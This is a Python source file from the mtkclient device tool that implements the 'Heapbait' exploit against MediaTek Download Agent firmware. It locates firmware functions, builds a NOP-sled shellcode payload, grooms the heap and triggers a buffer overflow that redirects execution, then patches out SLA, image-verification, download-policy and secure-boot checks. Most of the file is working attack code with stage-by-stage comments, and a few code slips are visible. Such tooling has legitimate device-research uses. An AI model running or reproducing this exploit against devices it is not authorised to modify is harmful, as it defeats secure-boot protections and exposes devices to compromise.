import logging
import os
from typing import Tuple, Optional
import re
from mtkclient.Library.Exploit.exptools.arm_tools import ArmTools
from mtkclient.Library.Exploit.exptools.aarch_tools import Aarch64Tools
from mtkclient.Library.exploit_handler import Exploitation
from mtkclient.Library.gui_utils import LogBase
script_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))
class HeapParams:
def __init__(self, heap_init_off, heap_base, heap_size, dpc_addr, is_arm64):
self.heap_init_off = heap_init_off
self.heap_base = heap_base
self.heap_size = heap_size
self.dpc_addr = dpc_addr
self.is_arm64 = is_arm64
class HakuParams:
def __init__(self, uart, reg_cmd, download_addr, free, get_node, load_str, cmd_loop, theheap):
self.uart = uart
self.reg_cmd = reg_cmd
self.download_addr = download_addr
self.free_addr = free
self.get_node = get_node
self.load_str = load_str
self.cmd_loop = cmd_loop
self.theheap = theheap
class PatchParams:
def __init__(self, secure_cmds, vfy_pol, dl_pol, hash_bind, get_hw_sbc):
self.secure_cmds = secure_cmds
self.vfy_pol = vfy_pol
self.dl_pol = dl_pol
self.hash_bind = hash_bind
self.get_hw_sbc = get_hw_sbc
# Constants translated from Rust
USB_DATA_SIZE = 0x1400
NOP_ARM64 = b"\x1F\x20\x03\xD5"
NOP_ARM32 = b"\x00\xF0\x20\xE3"
def find_pattern(data: bytes, pattern_hex: str) -> int:
"""Fast byte pattern search with ?? wildcards"""
pattern_hex = pattern_hex.upper().replace(" ", "")
if len(pattern_hex) % 2 != 0:
raise ValueError("Pattern hex length must be even")
# Build pattern + mask more compactly
pat = bytearray()
msk = bytearray()
wildcard_count = 0
for i in range(0, len(pattern_hex), 2):
bs = pattern_hex[i:i + 2]
if bs == "??":
pat.append(0)
msk.append(0)
wildcard_count += 1
else:
val = int(bs, 16)
pat.append(val)
msk.append(0xFF)
pattern = bytes(pat)
mask = bytes(msk)
n = len(pattern)
if n == 0 or n > len(data):
return -1
# Special case: no wildcards
if wildcard_count == 0:
return data.find(pattern)
# Special case: all wildcards
if wildcard_count == n:
return 0
# Build regex pattern
regex_parts = []
for j in range(n):
if mask[j] == 0:
regex_parts.append(b'.')
else:
byte = bytes([pattern[j]])
escaped = re.escape(byte)
regex_parts.append(escaped)
regex_pat = b''.join(regex_parts)
regex = re.compile(regex_pat)
match = regex.search(data)
return match.start() if match else -1
class Heapbait(Exploitation, metaclass=LogBase):
def __init__(self, mtk, loglevel=logging.INFO):
super().__init__(mtk, loglevel)
self.xflash = None
self.da2 = self.mtk.daloader.daconfig.da2
if not self.da2:
raise RuntimeError("DA2 not loaded")
entry = int.from_bytes(self.da2[4:8], byteorder='little')
if entry & 0xF0 == 0xC0:
self.is_arm64 = True
else:
self.is_arm64 = False
self.archtools = None
self.patched_da2 = None
self.heapbait_payload = b''
if self.is_arm64:
fn = os.path.join(script_path, "payloads", "heapbait_arm64.bin")
else:
fn = os.path.join(script_path, "payloads", "heapbait_arm.bin")
try:
with open(fn, 'rb') as f:
self.heapbait_payload = f.read()
except FileNotFoundError:
self.error(f"Heapbait payload not found at {fn}.")
def parse_heap_init(self) -> Tuple[int, int, int]:
log_str = "\n***Enter 2nd-DA.***\n"
log_xref = self.archtools.find_string_xref(log_str)
if log_xref is None:
raise ValueError(f"Log string {log_str!r} not found")
# Search backwards for the previous BL (call to heap_init)
bl_off = self.archtools.get_previous_bl_from_off(log_xref)
if bl_off is None:
raise ValueError("No previous BL found before Enter 2nd-DA log")
bl_off = self.archtools.get_previous_bl_from_off(bl_off)
if bl_off is None:
raise ValueError("No previous 2nd BL found before Enter 2nd-DA log")
heap_init_func = self.archtools.get_previous_bl_from_off(bl_off)
heap_init_va = self.archtools.get_bl_target(heap_init_func)
if heap_init_va is None:
raise ValueError("Failed to resolve heap_init call target")
heap_init_off = self.archtools.va_to_offset(heap_init_va)
if heap_init_off is None:
raise ValueError("Failed to convert heap_init VA to offset")
# Resolve x0/w0 (heap_base) and x1/w1 (heap_size) at the call site
# Increased lookback for safety
if self.archtools.is_pointer_auth(self.archtools.read_u32(heap_init_off)):
preoff = heap_init_off + 4
else:
preoff = heap_init_off
heap_base = self.archtools.resolve_register_value(preoff, 0, 200)
if heap_base is None:
raise ValueError("Failed to resolve heap_base (arg0)")
if self.is_arm64:
heap_size = self.archtools.resolve_register_value(heap_init_off, 1, 200)
if heap_size is None:
raise ValueError("Failed to resolve heap_size (arg1)")
else:
heap_size = self.archtools.resolve_register_value(heap_init_off, 3, 200)
if heap_size is None:
raise ValueError("Failed to resolve heap_size (arg1)")
return heap_init_off, heap_base, heap_size
def find_dpc_address(self) -> Optional[int]:
dpc_string_xref = self.archtools.find_string_xref("\n@Protocol: DPC CALL")
if dpc_string_xref is None:
return None
get_loglevel = self.archtools.get_previous_bl_from_off(dpc_string_xref)
if get_loglevel is None:
return None
dpc_init_call = self.archtools.get_previous_bl_from_off(get_loglevel)
dpc_init_off = self.archtools.va_to_offset(self.archtools.get_bl_target(dpc_init_call))
return self.archtools.resolve_register_value(dpc_init_off, 0, 50)
def extract_heap_params(self) -> HeapParams | None:
try:
heap_init_off, heap_base, heap_size = self.parse_heap_init()
dpc_addr = self.find_dpc_address() - (8 if self.is_arm64 else 4)
if dpc_addr is None:
raise ValueError("dpc_addr not found")
return HeapParams(heap_init_off, heap_base, heap_size, dpc_addr, self.is_arm64)
except Exception as e:
self.error(f"Error extracting heap params: {e}")
return None
def find_uart_base(self) -> Optional[int]:
if self.is_arm64:
pattern = "a9ff2f36"
off = find_pattern(self.da2, pattern)
if off == -1:
self.warning("Could not find UART pattern, using default base 0x11001000")
return 0x11001000
# Scan backwards up to 0x10 bytes (4 instructions) for ADRP + LDR
scan_start = max(0, off - 0x10)
for scan_off in range(off - 4, scan_start - 1, -4):
instr_adrp = self.archtools.read_u32(scan_off)
if instr_adrp is None:
continue
pc = self.archtools.offset_to_va(scan_off)
if pc is None:
continue
adrp_result = self.archtools.decode_adrp(instr_adrp, pc)
if adrp_result is None:
continue
page, rd = adrp_result
# Check next instruction for LDR (immediate) post-index or unsigned offset
next_off = scan_off + 4
if next_off + 4 > len(self.da2):
continue
ldr_instr = self.archtools.read_u32(next_off)
if ldr_instr is None:
continue
# LDR (immediate unsigned offset): 0xB9400000 mask
if (ldr_instr & 0xFFC00000) == 0xB9400000:
rn = (ldr_instr >> 5) & 0x1F
rt = ldr_instr & 0x1F
_ = rt
imm12 = (ldr_instr >> 10) & 0xFFF
if rn == rd: # LDR from the ADRP target register
ptr_addr = page + (imm12 << 2) # imm12 scaled by 4 for word access
ptr_off = self.archtools.va_to_offset(ptr_addr)
if ptr_off is not None:
uart_base = self.archtools.read_u32(ptr_off)
if uart_base is not None:
return uart_base
self.warning("Could not extract UART base from ARM64 pattern, using default 0x11001000")
return 0x11001000
# ARM32
pattern = "??????E3??1044E3002091E5142092E5200012E3"
off = find_pattern(self.da2, pattern)
if off == -1:
self.warning("Could not find UART pattern, using default base 0x11001000")
return 0x11001000
movw_instr = self.archtools.read_u32(off)
movt_instr = self.archtools.read_u32(off + 4)
rd_w, imm_lo = self.archtools.decode_movw(movw_instr)
rd_t, imm_hi = self.archtools.decode_movt(movt_instr)
if rd_w != rd_t:
self.warning("Could not find default UART base for ARM, using default")
return 0x11001000
ptr_addr = (imm_hi << 16) | imm_lo
ptr_off = self.archtools.va_to_offset(ptr_addr)
return self.archtools.read_u32(ptr_off)
def find_free_func(self) -> Optional[int]:
off = self.archtools.find_string_xref("Bad %s")
bl1 = self.archtools.get_next_bl_from_off(off)
bl2 = self.archtools.get_next_bl_from_off(bl1 + 4) # +4 because of R0/X0 arg
free_addr = self.archtools.get_bl_target(bl2)
return free_addr
def find_register_xml_cmd_func(self) -> Optional[int]:
register_xml_off = self.archtools.find_string_xref("CMD:REBOOT")
bl_off = self.archtools.get_next_bl_from_off(register_xml_off)
reg_cmd_addr = self.archtools.get_bl_target(bl_off)
return reg_cmd_addr
def find_download_func(self) -> Optional[int]:
download_function_off = self.archtools.find_function_from_string("Download host file:%s")
download_addr = self.archtools.offset_to_va(download_function_off)
return download_addr
def find_get_node(self) -> Optional[int]:
off = self.archtools.find_string_xref("runtime_switchable_config/magic")
bl_off = self.archtools.get_next_bl_from_off(off)
getnode_func_addr = self.archtools.get_bl_target(bl_off)
return getnode_func_addr
def find_mxml_load_string_func(self) -> Optional[int]:
off = self.archtools.find_string_xref("Bad %s")
load_string_off = self.archtools.find_function_start_from_off(off)
load_str_func = self.archtools.offset_to_va(load_string_off)
return load_str_func
def find_dagent_command_loop2(self) -> Optional[int]:
off = self.archtools.find_function_from_string("\n@Protocol: DPC CALL\n")
cmd_loop_addr = self.archtools.offset_to_va(off)
return cmd_loop_addr
def extract_haku_params(self, heap_params: HeapParams) -> HakuParams | None:
try:
uart = self.find_uart_base()
if uart is None:
# 0x11001000 as default
raise ValueError("UART base not found")
reg_cmd = self.find_register_xml_cmd_func()
if reg_cmd is None:
raise ValueError("register_xml_cmd not found")
download = self.find_download_func()
if download is None:
raise ValueError("download function not found")
free = self.find_free_func()
if free is None:
raise ValueError("free function not found")
get_node = self.find_get_node()
if get_node is None:
raise ValueError("get_node not found")
load_string_func = self.find_mxml_load_string_func()
if load_string_func is None:
raise ValueError("mxml_load_string not found")
cmd_loop = self.find_dagent_command_loop2()
if cmd_loop is None:
raise ValueError("dagent_command_loop2 not found")
theheap = heap_params.heap_base
return HakuParams(uart, reg_cmd, download, free,
get_node, load_string_func, cmd_loop, theheap)
except Exception as e:
self.error(f"Error extracting haku params: {e}")
return None
def extract_patch_params(self) -> PatchParams | None:
policy_func = "==========security policy=========="
sbc_func = "[SBC] sbc_en = %d\n"
try:
register_all_cmds_off = self.archtools.find_function_from_string("CMD:REBOOT")
if register_all_cmds_off is None:
self.error("Could not find register_all_cmds via 'CMD:REBOOT'")
return None
secure_cmds = self.archtools.offset_to_va(register_all_cmds_off)
if secure_cmds is None:
self.error("Failed to convert register_all_cmds offset to VA")
return None
secure_cmds = secure_cmds & 0xFFFFFFFF # as u32
# Find security policy function via unique log string
part_sec_pol_off = self.archtools.find_function_from_string(policy_func)
if part_sec_pol_off is None:
self.error(f"Could not find security policy function via '{policy_func}'")
return None
# Chain of BL instructions after the policy function start
policy_idx_bl = self.archtools.get_next_bl_from_off(part_sec_pol_off)
if policy_idx_bl is None:
self.error("No first BL found after security policy function")
return None
hash_bind = self.archtools.get_next_bl_from_off(policy_idx_bl + 4)
if hash_bind is None:
self.error("No hash_bind found")
return None
img_auth_req = self.archtools.get_next_bl_from_off(hash_bind + 4)
if img_auth_req is None:
self.error("No img_auth_req found")
return None
dl_forbidden = self.archtools.get_next_bl_from_off(img_auth_req + 4)
if dl_forbidden is None:
self.error("No dl_forbidden found")
return None
# Resolve BL targets (function addresses)
vfy_pol = self.archtools.get_bl_target(img_auth_req)
if vfy_pol is None:
self.error("Failed to resolve verify_policy BL target")
return None
vfy_pol = vfy_pol & 0xFFFFFFFF
dl_pol = self.archtools.get_bl_target(dl_forbidden)
if dl_pol is None:
self.error("Failed to resolve download_policy BL target")
return None
dl_pol = dl_pol & 0xFFFFFFFF
hash_bind = self.archtools.get_bl_target(hash_bind)
if hash_bind is None:
self.error("Failed to resolve hash_bind BL target")
return None
hash_bind = hash_bind & 0xFFFFFFFF
# SBC-related functions via "[SBC] sbc_en = %d\n" log string
sec_func = self.archtools.find_function_from_string(sbc_func)
if sec_func is None:
self.error(f"Could not find SBC function via '{sbc_func}'")
return None
get_log_level = self.archtools.get_next_bl_from_off(sec_func)
if get_log_level is None:
self.error("No BL found after SBC log function")
return None
get_hw_sbc_bl = self.archtools.get_next_bl_from_off(get_log_level + 4)
if get_hw_sbc_bl is None:
self.error("No BL for get_hw_sbc found")
return None
get_hw_sbc = self.archtools.get_bl_target(get_hw_sbc_bl)
if get_hw_sbc is None:
self.error("Failed to resolve get_hw_sbc BL target")
return None
get_hw_sbc = get_hw_sbc & 0xFFFFFFFF
return PatchParams(secure_cmds=secure_cmds,
vfy_pol=vfy_pol,
dl_pol=dl_pol,
hash_bind=hash_bind,
get_hw_sbc=get_hw_sbc)
except Exception as e:
self.error(f"Error extracting patch params: {e}")
return None
def find_heap_struct(self, heap_params: HeapParams, haku_params: HakuParams) -> bool:
if heap_params.is_arm64:
try:
# Find the next unconditional B after heap_init
next_b = self.archtools.get_next_b_from_off(heap_params.heap_init_off)
if next_b is None or next_b == 0:
self.error("Failed to find next B instruction after heap_init")
return False
b_target = self.archtools.get_b_target(next_b)
if b_target is None:
self.error("Failed to resolve B target after heap_init")
return False
miniheap_init = self.archtools.va_to_offset(b_target)
if miniheap_init is None:
self.error("Failed to convert miniheap_init VA to offset")
return False
# Search for ADRP + ADD pattern within ~0x100 bytes
heap_addr = None
off = miniheap_init
search_end = min(miniheap_init + 0x100, len(self.archtools.data))
while off < search_end:
instr = self.archtools.read_u32(off)
if instr is None:
break
pc = self.archtools.offset_to_va(off)
if pc is None:
break
adrp_result = self.archtools.decode_adrp(instr, pc)
if adrp_result is not None:
page, rd = adrp_result
# Look for matching ADD in next ~16 instructions
add_off = off + 4
add_end = min(off + 64, len(self.archtools.data))
while add_off < add_end:
instr_add = self.archtools.read_u32(add_off)
if instr_add is None:
break
add_decoded = self.archtools.decode_add_imm(instr_add)
if add_decoded is not None:
rn, rd_add, imm = add_decoded
if rn == rd and rd_add == rd:
heap_addr = (page + imm) & 0xFFFFFFFFFFFFFFFF # wrapping_add
break
add_off += 4
if heap_addr is not None:
break
off += 4
if heap_addr is None:
self.error("Failed to find heap struct pattern (ADRP + ADD)")
return False
haku_params.theheap = heap_addr & 0xFFFFFFFF # as u32
return True
except Exception as e:
self.error(f"ARM64 heap struct parsing failed: {e}")
return False
else:
# ARM32 path
try:
regs = [0] * 16
search_end = min(heap_params.heap_init_off + 0x80, len(self.archtools.data))
off = heap_params.heap_init_off
while off < search_end:
instr = self.archtools.read_u32(off)
if instr is None:
break
movw_decoded = self.archtools.decode_movw(instr)
if movw_decoded is not None:
rd, imm16 = movw_decoded
regs[rd] = imm16
movt_decoded = self.archtools.decode_movt(instr)
if movt_decoded is not None:
rd, imm16 = movt_decoded
regs[rd] |= (imm16 << 16)
# Stop at BX LR or unconditional B
if self.archtools.is_bx_lr(instr) or (instr & 0x0F000000) == 0x0A000000:
break
off += 4
theheap = regs[1] # r1 holds the heap struct pointer
if theheap == 0:
self.error("Failed to find heap struct address (r1 == 0)")
return False
haku_params.theheap = theheap & 0xFFFFFFFF # as u32
return True
except Exception as e:
self.error(f"ARM32 heap struct parsing failed: {e}")
return False
def extract_params(self) -> Tuple[HeapParams or None, HakuParams or None, dict or None]:
da2_addr = self.mtk.daloader.daconfig.da_loader.region[2].m_start_addr
self.archtools = Aarch64Tools(self.da2, da2_addr) if self.is_arm64 \
else ArmTools(self.da2, da2_addr)
heap_params = self.extract_heap_params()
if not heap_params:
return None, None, None
haku_params = self.extract_haku_params(heap_params)
self.find_heap_struct(heap_params, haku_params)
patch_params = self.extract_patch_params()
return heap_params, haku_params, patch_params
def is_vulnerable(self) -> bool:
try:
da2 = self.mtk.daloader.daconfig.da2
if b"Dest XML file name buffer overflow" in da2:
self.info("Device is patched against HeapBait")
return False
return True
except Exception as e:
self.error(f"Error checking vulnerability: {e}")
return False
@staticmethod
def create_cmd(cmd: str, content: dict = None, version="1.0"):
cmd = ("" +
f"{version}CMD:{cmd}")
if content is not None:
for item in content:
cmd += f"<{item}>"
for subitem in content[item]:
cmd += f"{subitem}"
cmd += f""
cmd += ""
return cmd
def cmd_exp_patch_mem(self, addr: int = 0, length: int = 0):
"""
1.0
CMD:EXP-PATCH-MEM
0x400295E80x8
"""
content = {
"arg": [
f"{hex(addr)}",
f"{hex(length)}",
]
}
cmd = self.create_cmd("EXP-PATCH-MEM", content)
return cmd
def cmd_exp_call_func(self, addr: int = 0):
"""
1.0
CMD:EXP-CALL-FUNC
0x400295E80x8
"""
content = {
"arg": [
f"{hex(addr)}",
]
}
cmd = self.create_cmd("EXP-PATCH-MEM", content)
return cmd
def call_func(self, addr: int):
cmd = self.cmd_exp_call_func(addr=addr)
result = self.xflash.send_command(cmd)
return result
def patch_mem(self, addr: int, data: bytes):
try:
cmd = self.cmd_exp_patch_mem(addr=addr, length=len(data))
result = self.xflash.send_command(cmd)
if hasattr(result, "checksum"):
if self.xflash.upload(result, data):
return True
except Exception as e:
self.error(f"Error in patch_mem: {e}")
raise
return False
def patch_da(self, patch_params: PatchParams):
try:
da2 = self.mtk.daloader.daconfig.da2
sla_off = da2.find(b"DA.SLA\0ENABLED")
sla_enabled = sla_off != -1
should_register = b"mot_sec" in da2
force_return = self.archtools.force_return(bytearray(8 * b"\x00"), 0, 0, thumb=False)
if sla_enabled:
patch = b"DA.SLA\0DISABLE"
self.patch_mem(sla_off, patch)
self.patch_mem(patch_params.hash_bind, force_return)
self.patch_mem(patch_params.vfy_pol, force_return)
self.patch_mem(patch_params.dl_pol, force_return)
self.patch_mem(patch_params.get_hw_sbc, force_return)
"""
xmlcmd = self.xflash.cmd.create_cmd("CUSTOM")
if self.xflash.xsend(xmlcmd):
# result =
data = self.xflash.get_response()
if data == 'OK':
# OUTPUT
xdata = self.xflash.xmlft.patch()
self.xflash.xsend(int.to_bytes(len(xdata), 4, 'little'))
self.xflash.xsend(xdata)
# CMD:END
# result =
self.xflash.get_response()
self.xflash.ack()
# CMD:START
# result =
self.xflash.get_response()
self.xflash.ack()
if self.xflash.xmlft.ack():
self.info("DA XML Extensions successfully loaded.")
"""
if should_register:
resp = self.call_func(addr=patch_params.secure_cmds)
_ = resp
# toDo: error handling !
except Exception as e:
self.error(f"Error in patch_da: {e}")
raise
def build_shellcode_payload(self, haku_params: HakuParams, heap_params: HeapParams) -> bytes:
nop = NOP_ARM64 if heap_params.is_arm64 else NOP_ARM32
nop_count = ((heap_params.heap_size // 10) // 4) & 0xFFFFFFFF
try:
heapbait = self.heapbait_payload
if not heapbait:
raise ValueError("Heapbait payload not loaded")
payload = bytearray(heapbait)
def patch(payload: bytearray, placeholder: bytes, value: bytes):
pos = payload.find(placeholder)
if pos == -1:
raise ValueError(f"Placeholder {placeholder} not found in payload")
payload[pos:pos + len(value)] = value
# toDo: arm64 addr_size is hardcoded to 4 (uint32) in payload but should be 8 instead (uint64)
addr_size = 4 if heap_params.is_arm64 else 4
patch(payload, b"\x11" * addr_size, haku_params.reg_cmd.to_bytes(addr_size, 'little'))
patch(payload, b"\x22" * addr_size, haku_params.cmd_loop.to_bytes(addr_size, 'little'))
patch(payload, b"\x33" * addr_size, haku_params.theheap.to_bytes(addr_size, 'little'))
patch(payload, b"\x44" * addr_size, haku_params.download_addr.to_bytes(addr_size, 'little'))
patch(payload, b"\x55" * addr_size, haku_params.free_addr.to_bytes(addr_size, 'little'))
patch(payload, b"\x66" * addr_size, haku_params.get_node.to_bytes(addr_size, 'little'))
patch(payload, b"\x77" * addr_size, haku_params.load_str.to_bytes(addr_size, 'little'))
patch(payload, b"\x88" * addr_size, haku_params.uart.to_bytes(addr_size, 'little'))
payload = nop_count * nop + payload
return bytes(payload)
except Exception as e:
self.error(f"Error building shellcode: {e}")
return b''
def self_test(self):
""" Self test if archtools work correctly """
heap_params, haku_params, patch_params = self.extract_params()
if not haku_params or not patch_params or not haku_params:
return False
heapbait = self.build_shellcode_payload(haku_params, heap_params)
if not heapbait:
return False
sled_size = heap_params.heap_size // 10
shellcode_addr = (heap_params.heap_base + int(sled_size * 0.95)) & ~3
if self.is_arm64:
if shellcode_addr != 0x44c7f100:
assert False, "Bad shellcode addr"
if sled_size != 0x5000000:
assert False, "Bad sled size"
if (heap_params.dpc_addr != 0x40070028 or heap_params.heap_base != 0x4007f100 or
heap_params.heap_init_off != 0x9970 or heap_params.heap_size != 0x32000000):
assert False, "Bad heap_params"
if (haku_params.cmd_loop != 0x400093f0 or haku_params.download_addr != 0x4002a844 or
haku_params.free_addr != 0x40009b78 or haku_params.get_node != 0x40002f24 or
haku_params.load_str != 0x4000e25c or haku_params.reg_cmd != 0x4000935c or
haku_params.theheap != 0x40070108 or haku_params.uart != 0x11001000):
assert False, "Bad haku_params"
print("AARCH64 passed !")
else:
if shellcode_addr != 0x44c6a580:
assert False, "Bad shellcode addr"
if sled_size != 0x5000000:
assert False, "Bad sled size"
if (heap_params.dpc_addr != 0x400636a4 or heap_params.heap_base != 0x4006a580 or
heap_params.heap_init_off != 0x8278 or heap_params.heap_size != 0x32000000):
assert False, "Bad heap_params"
if (haku_params.cmd_loop != 0x4000798c or haku_params.download_addr != 0x40025490 or
haku_params.free_addr != 0x400097d8 or haku_params.get_node != 0x40001798 or
haku_params.load_str != 0x4000c19c or haku_params.theheap != 0x40063754 or
haku_params.uart != 0x11001000):
assert False, "Bad haku_params"
print("ARM32 passed !")
return True
def run_exploit(self):
""" Run the actual exploit """
if not self.is_vulnerable():
return False
self.info("Device vulnerable to heapbait ... trying to exploit...")
heap_params, haku_params, patch_params = self.extract_params()
if not haku_params or not patch_params or not haku_params:
return False
heapbait = self.build_shellcode_payload(haku_params, heap_params)
if not heapbait:
return False
sled_size = heap_params.heap_size // 10
shellcode_addr = (heap_params.heap_base + int(sled_size * 0.95)) & ~3
self.xflash = self.mtk.daloader.da
# Stage 1: Upload shellcode payload to the heap via AIO1.
# This creates a large allocation containing a NOP sled followed by the
# actual shellcode (heapbait). The shellcode lands somewhere in the heap.
ret = self.xflash.handle_allinone_signature(filename="aio.bin", data=heapbait)
_ = ret
# Stage 2: Heap shaping via AIO2 command with large filename.
# When mxmlLoadString parses the XML command, it allocates a buffer for
# the filename (5000 A's). This buffer will be allocated right after
# the AIO2 data buffer we're about to overflow.
#
# Heap layout after this stage:
# [AIO1 shellcode buffer] ... [AIO2 data buffer (0x1410)] [XML filename buffer (0x13a0)]
ncmd = self.xflash.cmd.cmd_security_set_allinone_signature(filename=5000 * "A")
result = self.xflash.send_command(ncmd)
if not hasattr(result, "source_file"):
self.error("Error on stage2 :(")
else:
self.info("Heapbait Stage 2 loaded.")
# Stage 3: Trigger the heap overflow.
# We advertise 0x13FC bytes, so the DA allocates a 0x1400 byte buffer.
# However, fp_read_host_file has a bug: it reads packet_length (0x2000)
# bytes per chunk without checking remaining capacity.
#
# By sending 0x1410 bytes total, we overflow 0x10 bytes past the buffer,
# corrupting the next chunk's allocated header (the XML filename buffer).
#
# The overflow overwrites the alloc_struct_begin header:
# ARM64: ptr (8 bytes) | size (8 bytes)
# ARM32: magic (4 bytes) | ptr (4 bytes) | size (4 bytes)
#
# We set:
# ptr = dpc_addr (points 0x10/0x8 bytes before dpc->cb)
# size = shellcode_addr
payload2 = bytearray(b"\x00" * USB_DATA_SIZE)
if heap_params.is_arm64:
payload2.extend(heap_params.dpc_addr.to_bytes(8, 'little'))
payload2.extend(shellcode_addr.to_bytes(8, 'little'))
else:
payload2.extend(int.to_bytes(0xDEADBEEF, 4, 'little'))
payload2.extend(heap_params.dpc_addr.to_bytes(4, 'little'))
payload2.extend(shellcode_addr.to_bytes(4, 'little'))
self.xflash.ack_value(USB_DATA_SIZE - 4)
ack = self.xflash.get_response()
if ack != "OK":
self.error("Error on stage3 :(")
else:
self.info("Heapbait Stage 3 loaded.")
self.xflash.ack_value(0)
ack = self.xflash.get_response()
self.xflash.xsend(payload2)
ack = self.xflash.get_response()
self.xflash.xsend(b"GETBAITED\0")
result = self.xflash.get_response()
if result != "ERR":
self.error("Error on response of getbaited :(")
return False
result2 = self.xflash.get_response()
if not "CMD:END" in result2:
self.error("Error on CMD:END on sending getbaited :(")
return False
self.xflash.ack()
result3 = self.xflash.get_response()
if not "CMD:START" in result3:
self.error("Error on CMD:START on sending getbaited :(")
return False
self.xflash.ack()
self.patch_da(patch_params)
self.info("Heapbait succeeded.")
return True
if __name__ == "__main__":
from mtkclient.Library.mtk_class import Mtk
from mtkclient.Library.DA.mtk_daloader import DAconfig
from mtkclient.Library.DA.xmlflash.xml_lib import DAXML
from mtkclient.config.mtk_config import MtkConfig
config = MtkConfig(logging.INFO)
config.init_hwcode(0x1172)
config.hwver = 0xca00
config.swver = 0
mtk = Mtk(config=config, loglevel=logging.INFO,
serialportname=None)
mtk.config.loader = os.path.join(script_path, "Library", "Exploit", "test", "DA_BR.bin")
daconfig = DAconfig(mtk=mtk, loader=mtk.config.loader,
preloader=mtk.config.preloader, loglevel=logging.INFO)
daconfig.setup()
with open(mtk.config.loader, 'rb') as bootldr:
# stage 1
da1offset = daconfig.da_loader.region[1].m_buf
da1size = daconfig.da_loader.region[1].m_len
bootldr.seek(da1offset)
mtk.daloader.daconfig.da1 = bootldr.read(da1size)
# ------------------------------------------------
da2offset = daconfig.da_loader.region[2].m_buf
bootldr.seek(da2offset)
mtk.daloader.daconfig.da2 = bootldr.read(daconfig.da_loader.region[2].m_len)
dax = DAXML(mtk, daconfig, loglevel=logging.INFO)
hb = Heapbait(mtk, loglevel=logging.DEBUG)
hb.self_test()
# ----------------------------------------------------------------------------- #
config.init_hwcode(0x1229)
mtk.config.loader = os.path.join(script_path, "Library", "Exploit", "test", "MT6886_NOTHING_0.bin")
daconfig = DAconfig(mtk=mtk, loader=mtk.config.loader,
preloader=mtk.config.preloader, loglevel=logging.INFO)
daconfig.setup()
with open(mtk.config.loader, 'rb') as bootldr:
# stage 1
da1offset = daconfig.da_loader.region[1].m_buf
da1size = daconfig.da_loader.region[1].m_len
bootldr.seek(da1offset)
mtk.daloader.daconfig.da1 = bootldr.read(da1size)
# ------------------------------------------------
da2offset = daconfig.da_loader.region[2].m_buf
bootldr.seek(da2offset)
mtk.daloader.daconfig.da2 = bootldr.read(daconfig.da_loader.region[2].m_len)
dax = DAXML(mtk, daconfig, loglevel=logging.INFO)
hb = Heapbait(mtk, loglevel=logging.DEBUG)
hb.self_test()